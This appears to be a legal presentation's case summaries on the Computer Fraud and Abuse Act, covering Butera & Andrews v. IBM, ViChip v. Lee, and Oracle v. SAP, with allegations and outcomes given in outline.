  - Butera & Andrews brings this action against IBM and an unidentified John Doe defendant, seeking monetary damages and injunctive relief for alleged interference with the plaintiff's computer records in violation of the Computer Fraud and Abuse Act, the Stored Wire and **Electronic Communications** Act, and the Federal Wiretap Ac. The plaintiff contends that the alleged violations were committed "with IBM owned or operated equipment and were directed by IBM employees or agents." The plaintiff asks that "all information illicitly obtained from [the] plaintiff" be returned," and that the defendants pay the plaintiff for its damages, "including damages for items illicitly taken, the costs of investigation, the cost of additional security measures, statutory damages and attorney's fees for this action," Defendant moves to dismiss Court grants IBM's motion.

Civil Suits

- ***ViChip Corp. v. Tsu-Chang Lee*, 2006 U.S. Dist. LEXIS 41756 (N.D. Cal., June 9, 2006)**
  - **Plaintiff alleged that the CEO stole confidential and proprietary information from the corporation; breach of contract; breach of fiduciary duty; theft of trade secret; and violation of the Computer Fraud and Abuse Act (CFAA)**
  - **Corporation was an electrical engineering company involved in the manufacture and sale of integrated circuits. CEO counterclaims against the corporation for declaratory relief regarding ownership of the intellectual property, misappropriation, unjust enrichment, and intentional interference with contract relations and prospective economic advantage.**
  - **Ownership of the underlying technology rested with the corporation. Court noted former CEO signed a valid employee agreement, which contained a confidentiality provision that CEO breached when he removed and destroyed provisional patent information from the corporation's files and property. CEO's unauthorized destruction of the corporation's electronic files entitled the corporation to summary judgment on the CFAA claim.**

Corporate Espionage

- ***Oracle Corp. v. SAP AG*, (N.D. Cal. Filed March 22, 2007)**
  - **Eleven Claims for Relief**
  - **Violation of CFAA 18 U.S.C. § 1030(a)(2)(C) & (a)(4) & (a)(5)**
  - **Intentional interference with Prospective Economic Advantage**
  - **Conversion**
  - **Trespass to Chattels**
    - **Alleges SAP infiltrated Oracle's systems by using log-in information of defecting customers and concealed true identity using phony telephone numbers and false e-mail addresses.**
    - **Oracle alleges more than 10,000 illegal downloads traced to IP address in SAP Byran, Texas headquarters.**

Contact Information

- rclarkcyberlaw@gmail.com